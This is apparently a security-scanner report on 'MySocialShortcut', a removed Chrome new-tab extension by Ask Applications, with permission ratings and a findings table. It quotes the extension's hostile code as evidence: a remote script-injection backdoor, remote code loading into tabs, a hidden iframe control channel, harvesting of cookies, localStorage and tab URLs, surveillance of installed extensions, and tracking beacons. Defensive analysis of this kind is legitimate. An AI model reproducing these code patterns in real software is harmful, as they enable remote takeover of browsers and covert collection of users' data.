MySocialShortcut

ID: dffodcokjhgglfakabaogimnpblkhdjj

Could be malicious

Supported Languages

🇧🇷Brazilian Portuguese
🇳🇱Dutch
🇺🇸English
🇫🇷French
🇩🇪German
🇮🇹Italian
🇯🇵Japanese
🇰🇷Korean
🇲🇽Latin American Spanish
🇵🇹Portuguese
🇪🇸Spanish

Extension Info & Metadata

Status
Removed
Version
13.958.19.40306
Size
0.38 MB
Rating
4.0/5
Reviews
23
Users
330,991
Type
Extension
Updated
Apr 14, 2021
Category
1_communication
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
http://mysocialshortcut.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
1,015,632

Find the best, FREE way to access your social networks with this Chrome New Tab Extension.

Discover the easy way to access your social media networks, plus update your new tab page search to MyWay.com. Comes with daily content to show you news, weather and more in a new Chrome window! By installing this extension, you agree to the End User License Agreement and Privacy Policy (https://eula.askapplications.com/eula/) This new tab extension is a product of Ask Applications, Inc. Permissions Requested : "Read and change your data on a number of websites" For our product to work, we require access to the websites we own and manage. "Replace the page you see when opening a new tab" This allows us to show you our product - new tab page with free web search. "Read your browsing history" This allows us to tailor product specific content or offers towards relevant information. "Display notifications" This allows us the option to send you updates or additional product offers once you’ve already enjoyed the free product. "Manage your apps, extensions, and themes" This allows us to help you disable or remove this product and also understand whether we are able to provide the best experience. Release Log: 13.962 : Optimizes the sync of this extension between Chrome profiles.

Item
Type
Severity
Description
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
management
Permission
Medium
This permission manages other installed extensions. Rated Medium because it can enable/disable other extensions and modify their settings, with changes being visible to users.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.
*://anx.tb.ask.com/*
Permission
Unknown
No classification available for this permission.
*://live.tb.ask.com/*
Permission
Unknown
No classification available for this permission.
*://*.mysocialshortcut.com/*
Permission
Unknown
No classification available for this permission.
*://hp.myway.com/*
Permission
Unknown
No classification available for this permission.

The `inject-script` background feature accepts arbitrary JavaScript code (`babMessage.args.code`) and a URL regex from an external message, then executes that code inside matching iframes via `chrome.tabs.executeScript`. This is a remote code injection backdoor: any page or iframe loaded by BabRemoteConfigProcessor (from a remotely-configurable `proxyUrl`) can request that the extension inject attacker-controlled JavaScript into the active tab's frames at `document_start`. The `matchUrlRegExStr` parameter is also fully attacker-controlled, allowing targeting of any URL.

js/babAPI.js (Line 69)
"inject-script": {  getRequiredArgs: function() {    return ["matchUrlRegExStr", "code"];  },  execute: function(babMessage) {    return new Promise(function(resolve, reject) {      chrome.tabs.query({        active: true,        currentWindow: true      }, function(tabs) {        if (!tabs || !tabs.length) {          return reject("no active tab in the current window");        }        chrome.webNavigation.getAllFrames({          tabId: tabs[0].id        }, function(iframes) {          if (iframes) {            var targetIframe = iframes.find(function(iframe) {              return new RegExp(babMessage.args.matchUrlRegExStr).test(iframe.url);            });            if (targetIframe) {              var details = {                runAt: babMessage.args.runAt || "document_start",                frameId: targetIframe.frameId,                code: babMessage.args.code              };              chrome.tabs.executeScript(tabs[0].id, details, function() {                if (chrome.runtime.lastError) {                  return reject(chrome.runtime.lastError.message);                }                return resolve();              });            }          }        });      });    });  }}

The extension fetches a raw JavaScript string from a remote URL (`babRemoteScriptUrl`) and then directly injects it into active tabs via `chrome.tabs.executeScript` with `runAt: "document_start"`. This is a classic remote-code-loading pattern: the URL is stored in config, which is loaded from `https://download.mysocialshortcut.com/`, meaning the operator (or anyone who compromises that server) can push arbitrary JavaScript to execute in any tab the user is viewing.

js/babTypeInjectionScript.js (Line 4)
this.initRemoteScript = function(extensionConfig) {  var gettingRemoteScript = new Promise(function(resolve, reject) {    if (!extensionConfig.buildVars.babRemoteScriptUrl)      return reject(new Error("remove script URL is not set"));    AJAX.get({      url: extensionConfig.buildVars.babRemoteScriptUrl    }).then(function(xhr) {      xhr.status === 200 ?        resolve(xhr.response) :        reject(new Error("unable to load JSON status:\"" + xhr.status + "\""));    });  });  gettingRemoteScript    .then(function(remoteScript) {      if (!remoteScript)        return Promise.reject(new Error("remote script is empty"));      _this.remoteScript = remoteScript;    })};// ... later used as:var remoteScriptInjectionDetails = {  code: _this.remoteScript,  runAt: "document_start"};chrome.tabs.executeScript(tab.id, remoteScriptInjectionDetails, resolve);

The background page loads a remotely-configured `proxyUrl` in a hidden iframe and establishes a bidirectional message channel between this remote iframe and the extension's content scripts. The proxy URL is pulled from a remote config server (`babConfigUrl`) via `RemoteConfigLoader`. This creates a persistent remote-control channel: the operator can update `babConfig.proxyUrl` to any origin, and that page gains the ability to invoke extension background features (including `inject-script`) in all user tabs.

js/babRemoteConfigProcessor.js (Line 14)
this.loadBackgroundBabIframe = function(babConfig) {  var iframeId = "babIframeToProxy";  var addIframeToProxy = function() {    _this.connectionOperations.initMessageHandler(babConfig);    var iframe = document.createElement("iframe");    iframe.setAttribute("id", iframeId);    Logger.log("BabRemoteConfigProcessor: loadBackgroundBabIframe iframeUrl = " + babConfig.proxyUrl);    iframe.setAttribute("src", babConfig.proxyUrl);    document.body.appendChild(iframe);  };  // ...  if (!babConfig || !babConfig.reCaptcha || !babConfig.reCaptcha.reCaptchaUrl || !babConfig.reCaptcha.reCaptchaId || !babConfig.proxyUrl) {    Logger.log("BabRemoteConfigProcessor: loadBackgroundBabIframe no reCaptcha or proxyUrl set in remoteConfig. IframeToProxy is not loaded.");    return;  }  var existingIframe = document.getElementById(iframeId);  if (!existingIframe) {    addIframeToProxy();  }};

The hijacked new-tab page renders a full-screen iframe that is granted `geolocation`, `microphone`, `camera`, `midi`, and `encrypted-media` permissions via the `allow` attribute. The iframe `src` is set dynamically to an external URL (`https://hp.myway.com/mysocialshortcut/...`) by `product.js`. This means the remote myway.com page — loaded in every new tab — has access to the user's location, microphone, and camera without the standard browser permission prompt that would otherwise be required.

ntp1.html (Line 25)
<iframe id="wtt-frame" frameborder="0" src="about:blank"  style="position: absolute; left: 0px; width: 100%; top: 0px; height: 100%;"  allow="geolocation; microphone; camera; midi; encrypted-media"></iframe>

This content script is injected into `https://download.mysocialshortcut.com/blank.jhtml` and, on command, reads the entire `window.localStorage` of that origin (or specific keys requested by the background) and transmits it back through a runtime port. Combined with `dlpHelper.js` which injects a hidden iframe to that URL in the background page, the extension systematically exfiltrates localStorage from the download domain to extract tracking parameters (toolbarId, partnerId, pixelUrl, install date) set during the download/install funnel.

js/localStorageContentScript.js (Line 9)
var commands = {  getLocalStorage: function(data) {    var storage = window.localStorage;    var keys = data && data.keys && data.keys.length ? data.keys : Object.keys(storage);    return Promise.resolve(keys.reduce(function(p, key) {      p[key] = storage.getItem(key);      return p;    }, {}));  }};function init() {  var port = chrome.runtime.connect({    name: Util.generateGuid2(portNamePrefix + "-" + chrome.runtime.id + "-")  });  channel = {    id: port.name,    port: port,    callbacks: new Map()  };  port.onMessage.addListener(onConnectMessage);}ask.apps.ContentScript.init();

The extension calls `chrome.cookies.getAll({ domain: '.mysocialshortcut.com' })` to read all cookies set on that domain, extracting user tracking identifiers (toolbarId, partnerId, coId, countryCode, partnerSubId, install date, etc.) and storing them in extension state. This is the primary mechanism for harvesting the affiliate/tracking data chain established during installation, using `cookies` permission to read data without any user interaction or notice.

js/dlp.js (Line 229)
function getDataFromCookies(domain) {  return new Promise(function(resolve, reject) {    chrome.cookies.getAll({      domain: domain    }, function(cookies) {      if (cookies.some(function(cookie) {          return cookie.name === "toolbarId";        })) {        Logger.log("Dlp: getDataFromCookies: Found DLP data cookies in domain: " + domain);        resolve(parseCookies(cookies));      } else {        reject(new Error("Dlp: getDataFromCookies: FAILED to find DLP data cookies in domain: " + domain));      }    });  });}function parseCookies(cookies) {  var cookiesObj = cookies.reduce(function(obj, cookie) {    obj[cookie.name] = cookie.value;    return obj;  }, {});  var toolbarData = cleanToolbarData(cookiesObj);  toolbarData.dataSource = Dlp.dataSourceCookies;  Logger.log("Dlp: parseCookies: The fetched DLP data looks like: " + JSON.stringify(toolbarData));  return toolbarData;}

When injected into any mysocialshortcut.com page, this content script sets tracking cookies (`mindsparktb_<id>` and `mindsparktbsupport_<id>`) in the context of that domain. These cookies are readable by the domain's servers and act as an extension fingerprint, allowing mysocialshortcut.com to detect and identify that this specific toolbar variant is installed in the user's browser on every visit.

js/extensionDetect.js (Line 108)
function setInstalledCookies(toolbarId) {  var hourFromNow = new Date(Date.now() + (1 * 60 * 60 * 1000)).toUTCString();  document.cookie = "mindsparktb_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/";  document.cookie = "mindsparktbsupport_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/";}// Called on init:configReady.then(function(configData) {  setInstalledCookies(configData.buildVars.configDefId);}).catch(Logger.warn);

Using the `management` permission, the extension enumerates every installed browser extension (IDs, versions, enabled state) at startup and then continuously monitors all install, uninstall, enable, and disable events. When a competing extension that overrides the new tab page is installed or enabled, the handler fires a telemetry event to `anx.tb.ask.com` reporting `defaultNewTab` override changes. This constitutes unauthorized surveillance of the user's entire extension ecosystem, reported to a remote analytics server.

js/watchExtensionsHandler.js (Line 4)
this.init = function(config) {    var initWatchExtensions = function() {      return new Promise(function(resolve) {        chrome.management.getAll(function(extensionInfos) {          var watchExtensions = getEmptyWatchExtensionsObject();          extensionInfos            .filter(function(eInfo) {              return eInfo.type === "extension" &&                eInfo.id !== chrome.runtime.id &&                Util.checkOverlap(eInfo.permissions, WatchExtensionsHandler.permissionsToMonitor);            })            .forEach(function(eInfo) {              WatchExtensionsHandler.permissionsToMonitor                .filter(function(monitorPermission) {                  return ~eInfo.permissions.indexOf(monitorPermission);                })                .forEach(function(permission) {                  watchExtensions[permission].stackOfExtensions.push({                    id: eInfo.id,                    version: eInfo.version,                    enabled: eInfo.enabled                  });                });            });          // ...          Logger.log("WatchExtensionsHandler: extension has management permission. Currently following extensions installed: " + JSON.stringify(watchExtensions, null, 2));          resolve(config);        });      });    };    // Also registers: onInstalled, onUninstalled, onEnabled, onDisabled listeners    chrome.management.onInstalled.addListener(_this.onInstalledHandler);    chrome.management.onUninstalled.addListener(_this.onUninstalledHandler);

Every 6 hours the extension fires a `ToolbarActive` beacon to `https://live.tb.ask.com/tr.gif` containing the Chrome extension ID (`cwsid`), toolbar ID, partner ID, partner sub-ID, version, build date, and co-ID. This is a persistent user presence tracking beacon that allows the operator to know which users have the extension active, correlate them by partner/affiliate ID, and maintain a real-time active-user count — all without user consent or disclosure.

js/background.js (Line 426)
function startULPing(config) {  var alarmName = "livePing";  var minTimeToNextPing = 60000;  var interval = config.buildVars.livePing.interval; // 21600000 ms = 6 hours  var lastPing = config.state.lastLivePing;  var ping = function() {    var eventData = {      cwsid: chrome.runtime.id    };    apps.ul.fireToolbarActiveEvent(config.buildVars.livePing.url, eventData, config).then(function(response) {      config.state.lastLivePing = Date.now();      background.extensionStateStorage.update(config.state);    });  };  chrome.alarms.create(alarmName, {    when: Date.now() + delta,    periodInMinutes: interval / 1000 / 60 // every 360 minutes  });  chrome.alarms.onAlarm.addListener(function(alarm) {    if (alarm.name === alarmName) {      ping();    }  });}

The OfferService periodically contacts a remote server configured via `offerServiceConfigUrl`, sending a comprehensive device/user fingerprint including userAgent, OS, platform, browser version, language, locale, country, install date, affiliate/campaign IDs, toolbarID, and userSegment. The server responds with an `offerURL` that the extension opens as a new tab autonomously without any user interaction, effectively enabling the remote operator to force-open any URL in the user's browser on a schedule.

js/offerService.js (Line 277)
this.getDataPoints = function() {  var params = _this.extensionConfig.state.replaceableParams;  return {    browserID: "",    browserName: BrowserUtils.getBrowserName(),    browserVersion: BrowserUtils.getBrowserVersion(),    campaign: params.affiliateID,    cobrandID: params.cobrandID,    coID: params.coID,    countryCode: params.countryCode || "99",    country: "",    installDate: params.installDate,    installDateHex: params.installDateHex,    language: BrowserUtils.getLanguage(),    locale: window.navigator.language,    os: BrowserUtils.getOS(),    partnerID: params.partnerID,    partnerSubID: params.partnerSubID,    platform: window.navigator.platform,    redirectedUserID: "",    toolbarBuildDate: _this.extensionConfig.buildVars.buildDate,    toolbarID: params.toolbarID,    toolbarVersion: params.toolbarVersion,    trackID: params.trackID,    userAgent: window.navigator.userAgent,    userSegment: _this.extensionConfig.state.toolbarData.userSegment  };};// This data is sent as a PUT request body to config.offerServiceSettings.serviceURL// The response offerURL is then opened as a new tab without user interaction

As a fallback DLP data source, the extension queries ALL open tabs (`chrome.tabs.query({})`) and iterates every iframe in every tab via `chrome.webNavigation.getAllFrames` to scan URL hashes for tracking parameters. This is an active surveillance of the user's entire open browsing session — all tab URLs and all iframe URLs are inspected — to harvest affiliate tracking parameters embedded in URLs.

js/dlp.js (Line 43)
function getParamsFromHash(toolbarData) {  return new Promise(function(resolve, reject) {    chrome.tabs.query({}, function(tabs) {      tabs.some(function(tab) {        chrome.webNavigation.getAllFrames({          tabId: tab.id        }, function(frameDetails) {          frameDetails.some(function(frame) {            var url = new URL(frame.url);            var urlHash = url.hash;            if (urlHash && (ask.apps.background.parentProductHashMatchRegEx.test(urlHash) ||                ask.apps.background.extensionDetectContentScriptMatchRegEx.test(frame.url))) {              var mappedParams = getParamsFromString(url.hash.slice(1), params.hash.mapped, {});              // ...              Object.assign(toolbarData, mappedParams);              toolbarData.dataSource = Dlp.dataSourceUrlHash;              toolbarData.chromeSearchExtensionURL = secondaryOfferUrl;              toolbarData.chromeSearchExtensionEnabled = "true";              toolbarData.pixelUrl = pixelUrl;              resolve(toolbarData);              return true;            }          });        });      });    });  });}

The background script uses `chrome.tabs.onUpdated` to monitor all tab navigations and dynamically injects content scripts into any page matching `*.mysocialshortcut.com` at `document_start` (before the page's own scripts run). This gives the extension read/write access to the DOM and JavaScript environment of mysocialshortcut.com pages that are not listed in the manifest's `content_scripts`, bypassing static analysis of declared content script patterns.

js/background.js (Line 481)
var injectContentScripts = function(tabId, changeInfo, tab) {  if (!changeInfo || !changeInfo.url) return;  if (background.extensionDetectContentScriptMatchRegEx.test(changeInfo.url)) {    var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/extensionDetect.js"];    files.forEach(function(file) {      return chrome.tabs.executeScript({        runAt: "document_start",        file: file      }, function() {        if (chrome.runtime.lastError) {          Logger.error(chrome.runtime.lastError);        }      });    });  }  if (webTooltabAPIProxyMatchPattert_1.test(changeInfo.url)) {    var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/webTooltabAPIProxy.js"];    files.forEach(function(file) {      return chrome.tabs.executeScript({        runAt: "document_end",        file: file      }, function() {        if (chrome.runtime.lastError) {          Logger.error(chrome.runtime.lastError);        }      });    });  }};chrome.tabs.onUpdated.addListener(injectContentScripts);

On installation, the extension fires a tracking pixel to an affiliate network URL (`pixelUrl` extracted from cookies/localStorage) and fires an `InstallerFinished` telemetry event to `anx.tb.ask.com`. It then closes the Chrome Web Store popup window, and initiates `NewTabRedirectService` which hijacks navigation on multiple competing search domains (hp.myway.com, hp.ask.com, hp.mysearch.com, www1.hp.ask-tb.com, etc.) by redirecting their URLs to the extension's new tab page.

js/background.js (Line 95)
function doInstall(config) {  // ...  var toolbarDataFromLocalStorage = JSON.parse(localStorage.getItem("dlpToolbarData"));  // ...  return (toolbarDataFromLocalStorage ?    Promise.resolve(indicateUpgradeFromLegacyAndCleanToolbarData()) :    getToolbarData(config.buildVars.localStorageUrl, config.buildVars.downloadDomain,      background.localStorageInitTimeout, defaultToolbarData, config))}function doPostInstall(config, toolbarData) {  // ...  if (installPixelUrl) {    apps.ul.firePixel({      url: installPixelUrl    }).catch(function(err) {      Logger.log("Background: doPostInstall - firePixel:::", err);    });  }  apps.ul.fireInstallerFinishedEvent(config.buildVars.unifiedLoggingUrl, config).catch(Logger.warn);  getCwsWindow().then(closeCwsWindow);  handleSecondaryOffer(config);  if (config.buildVars.domainsToRedirectToNewTab) {    new NewTabRedirectService(config);  }}

By severity

Critical5
High11
Medium3
Low0

Versions scanned

Showing 2 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
13.962.19.392256
13.958.19.4030613

Files with findings

12 distinct paths — top paths by unique finding count:

  • js/background.js4
  • js/babTypeInjectionScript.js2
  • js/dlp.js2
  • js/extensionDetect.js2
  • js/watchExtensionsHandler.js2
  • js/babAPI.js1
  • js/babContentScriptAPI.js1
  • js/babRemoteConfigProcessor.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/babAPI.js (line 69)The `inject-script` background feature accepts arbitrary JavaScript code (`babMessage.args.code`) and a URL regex from an external message, then executes that code inside matching iframes via `chrome.tabs.executeScrip…
13.958.19.40306
2Privilege Escalation
critical
ntp1.html (line 25)The hijacked new-tab page renders a full-screen iframe that is granted `geolocation`, `microphone`, `camera`, `midi`, and `encrypted-media` permissions via the `allow` attribute. The iframe `src` is set dynamically to…
13.958.19.40306
3Remote Code Loading
critical
js/babTypeInjectionScript.js (line 52)This code executes arbitrary JavaScript stored in `_this.remoteScript` directly into the active tab at `document_start`. Earlier in the same file, `_this.remoteScript` is populated by downloading content from a remote…
13.962.19.39225
4Remote Code Loading
critical
js/babTypeInjectionScript.js (line 4)The extension fetches a raw JavaScript string from a remote URL (`babRemoteScriptUrl`) and then directly injects it into active tabs via `chrome.tabs.executeScript` with `runAt: "document_start"`. This is a classic re…
13.958.19.40306
5Remote Code Loading
critical
js/babRemoteConfigProcessor.js (line 14)The background page loads a remotely-configured `proxyUrl` in a hidden iframe and establishes a bidirectional message channel between this remote iframe and the extension's content scripts. The proxy URL is pulled fro…
13.958.19.40306
6Data Exfiltration
high
js/offerService.js (line 277)The OfferService periodically contacts a remote server configured via `offerServiceConfigUrl`, sending a comprehensive device/user fingerprint including userAgent, OS, platform, browser version, language, locale, coun…
13.958.19.40306
7Phishing
high
js/babContentScriptAPI.js (line 101)This code injects a full-page, extremely high z-index iframe over the current site and passes the current tab title and URL into the remote iframe URL. Combined with the remote BAB configuration machinery, this create…
13.962.19.39225
8Privilege Escalation
high
js/webtooltabAPI.js (line 150)This extension exposes a code path that can uninstall itself via `chrome.management.uninstallSelf()`. In this codebase, management methods are surfaced through the `webtooltab` messaging bridge to pages hosted on the …
13.962.19.39225
9Tracking
high
js/extensionDetect.js (line 108)When injected into any mysocialshortcut.com page, this content script sets tracking cookies (`mindsparktb_<id>` and `mindsparktbsupport_<id>`) in the context of that domain. These cookies are readable by the domain's …
13.958.19.40306
10Tracking
high
js/background.js (line 426)Every 6 hours the extension fires a `ToolbarActive` beacon to `https://live.tb.ask.com/tr.gif` containing the Chrome extension ID (`cwsid`), toolbar ID, partner ID, partner sub-ID, version, build date, and co-ID. This…
13.958.19.40306
11Unauthorized Data Collection
high
js/background.js (line 404)The extension assembles its tracking/install identity by harvesting data from multiple places in priority order: sync storage, domain cookies, localStorage on a remote page, and URL fragments from open tabs. This is a…
13.962.19.39225
12Unauthorized Data Collection
high
js/watchExtensionsHandler.js (line 26)The extension enumerates other installed extensions, collects their IDs, versions, enabled state, and specific overlap with monitored permissions. This is surveillance of competing/default-controlling extensions and i…
13.962.19.39225
13Unauthorized Data Collection
high
js/localStorageContentScript.js (line 9)This content script is injected into `https://download.mysocialshortcut.com/blank.jhtml` and, on command, reads the entire `window.localStorage` of that origin (or specific keys requested by the background) and transm…
13.958.19.40306
14Unauthorized Data Collection
high
js/dlp.js (line 229)The extension calls `chrome.cookies.getAll({ domain: '.mysocialshortcut.com' })` to read all cookies set on that domain, extracting user tracking identifiers (toolbarId, partnerId, coId, countryCode, partnerSubId, ins…
13.958.19.40306
15Unauthorized Data Collection
high
js/watchExtensionsHandler.js (line 4)Using the `management` permission, the extension enumerates every installed browser extension (IDs, versions, enabled state) at startup and then continuously monitors all install, uninstall, enable, and disable events…
13.958.19.40306
16Unauthorized Data Collection
high
js/dlp.js (line 43)As a fallback DLP data source, the extension queries ALL open tabs (`chrome.tabs.query({})`) and iterates every iframe in every tab via `chrome.webNavigation.getAllFrames` to scan URL hashes for tracking parameters. T…
13.958.19.40306
17Code Injection
medium
js/background.js (line 481)The background script uses `chrome.tabs.onUpdated` to monitor all tab navigations and dynamically injects content scripts into any page matching `*.mysocialshortcut.com` at `document_start` (before the page's own scri…
13.958.19.40306
18Tracking
medium
js/extensionDetect.js (line 102)When injected into vendor-controlled pages, this script discloses a stable toolbar ID, partner identifiers, and install date to page JavaScript and also drops detection cookies into the page context. That enables cros…
13.962.19.39225
19Tracking
medium
js/background.js (line 95)On installation, the extension fires a tracking pixel to an affiliate network URL (`pixelUrl` extracted from cookies/localStorage) and fires an `InstallerFinished` telemetry event to `anx.tb.ask.com`. It then closes t…
13.958.19.40306
URLs
25
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

download.mysocialshortcut.com/blank.jhtmlhttps://download.mysocialshortcut.com/blank.jhtml
live.tb.ask.com/tr.gifhttps://live.tb.ask.com/tr.gif
anx.tb.ask.com/anx.gifhttps://anx.tb.ask.com/anx.gif
download.mysocialshortcut.com/anemone.jhtmlhttps://download.mysocialshortcut.com/anemone.jhtml
{{hostname}}/install_pixels.jhtmlhttps://{{hostname}}/install_pixels.jhtml?partner={{partnerId}}&sub_id={{partnerSubId}}&coId={{coId}}&tbGuid={{toolbarId}}&s2={{s2}}&s3={{s3}}&s4={{s4}}&s5={{s5}}
{{hostname}}/conversion.htmlhttps://{{hostname}}/conversion.html?ref={{ref}}&cobrand={{cobrand}}&campaign={{campaign}}&track={{dlput}}&si={{partnerSubId}}&s2={{s2}}&s3={{s3}}&s4={{s4}}&s5={{s5}}&coId={{coId}}&country={{countryCode}}&otOptIn={{ot}}&pDomain={{pd}}&vendor={{vd}}&pGroup={{pg}}&nfc={{nfc}}&guid={{toolbarId}}&ver={{ver}}&sig={{sgn}}
ext.ask.com/%7B%7Bsoep%7D%7Dhttps://ext.ask.com/{{soep}}?productName={{pname}}&installDate={{installDate}}&partnerId={{partnerId}}&si={{partnerSubId}}&tbGuid={{toolbarId}}&coId={{coId}}&isAudioEnabled={{ae}}&isRebuttalEnabled={{re}}
hp.myway.com/mysocialshortcut/ttab02chr/index.htmlhttps://hp.myway.com/mysocialshortcut/ttab02chr/index.html?p2=${partnerID}&n=${installDateHex}&ptb=${toolbarID}&si=${partnerSubID}&cwsid=${cwsid}
mysocialshortcut.dl.myway.com/uninstall.jhtmlhttps://mysocialshortcut.dl.myway.com/uninstall.jhtml?c=
download.mysocialshortcut.com/images/download/static/native/notifications/%7B%7BcobrandID%7D%7D/%7B%7BtrackID%7D%7D/logger-config.jsonhttps://download.mysocialshortcut.com/images/download/static/native/notifications/{{cobrandID}}/{{trackID}}/logger-config.json
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
13.962.19.39225
Latest
0.10 MB
Malicious
6
13.958.19.40306
0.10 MB
Malicious
13
13.958.19.9343
0.10 MB
Malicious
—
13.986.19.62923
0.38 MB
Malicious
—
Showing 1 to 4 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.